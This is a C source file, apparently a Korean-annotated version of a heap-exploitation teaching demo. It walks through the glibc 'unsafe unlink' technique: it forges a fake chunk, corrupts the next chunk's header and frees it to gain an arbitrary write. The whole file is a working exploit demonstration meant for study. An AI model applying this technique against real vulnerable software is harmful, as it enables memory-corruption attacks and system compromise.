1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
uint64_t *chunk0_ptr;
int main() { fprintf(stderr, "unsafe unlink 2.0!\n"); fprintf(stderr, "테스트 환경: Ubuntu 14.04/16.04 64bit\n"); fprintf(stderr, "이 기법은 unlink를 호출할 수 있는 알려진 위치에 포인터가 있을 때 사용할 수 있다.\n"); fprintf(stderr, "대부분의 시나리오는 overflow를 할 수 있고 전역 포인터를 가지고 있는 취약한 버퍼다.\n");
int malloc_size = 0x80; int header_size = 2;
fprintf(stderr, "이번 연습의 요점은 임의의 메모리를 쓰기 위해 free를 사용하여 global chunk0_ptr을 corrupt시키는 것이다.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); fprintf(stderr, "global chunk0_ptr: %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); fprintf(stderr, "corrupt할 victim chunk: %p\n\n", chunk1_ptr);
fprintf(stderr, "chunk0에 fake chunk를 생성한다.\n"); fprintf(stderr, "&chunk0_ptr 근처를 가리키도록 fake chunk의 next_free_chunk(fd)를 설정하여 P->fd->bk=P가 되게 한다.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); fprintf(stderr, "&chunk0_ptr 근처를 가리키도록 fake chunk의 previous_free_chunk(bk)를 설정하여 P->bk->fd=P가 되게 한다.\n"); fprintf(stderr, "이 설정을 통해서 우리는 체크를 통과할 수 있다: : (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
fprintf(stderr, "chunk0에 overflow가 발생한다고 가정한다면 우리는 chunk1의 metadata를 자유롭게 바꿀 수 있다.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; fprintf(stderr, "chunk0의 크기를 줄여서(chunk1에 previous_size가 저장된) free가 chunk0이 fake chunk에 위치한 곳에서 시작한다고 생각할 것이다.\n"); fprintf(stderr, "fake chunk가 정확히 알려진 포인터가 가리키는 곳에서 시작되고 그에 따라 chunk를 축소하는 것이 중요하다.\n"); chunk1_hdr[0] = malloc_size; fprintf(stderr, "만약 우리가 일반적으로 free된 chunk0이 있다고 하면, chunk1.previous_size는 0x90이 될 것이다.\n" "그러나 이것은 새로운 값이다: %p\n",(void*)chunk1_hdr[0]); fprintf(stderr, "chunk1의 previous_in_use를 false로 설정하여 free로 fake chunk를 표시한다.\n\n"); chunk1_hdr[1] &= ~1;
fprintf(stderr, "이제 chunk1을 free해서 backward로 consolidate하면 fake chunk와 unlink될 것이고 chunk0_ptr을 overwrite한다\n"); fprintf(stderr, "unlink 매크로 소스는 해당 링크에서 찾을 수 있다.\n" "https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr);
fprintf(stderr, "이 때, 우리는 chunk0_ptr을 임의의 위치를 가리키도록 overwrite해서 사용할 수 있다.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 있다. 이것은 victim문자열을 overwrite하는데 사용한다.\n"); fprintf(stderr, "원래 값: %s\n",victim_string); puts("-------chunk0_ptr[0]=0x4141414142424242LL-------"); chunk0_ptr[0] = 0x4141414142424242LL; fprintf(stderr, "바뀐 값: %s\n",victim_string); }
|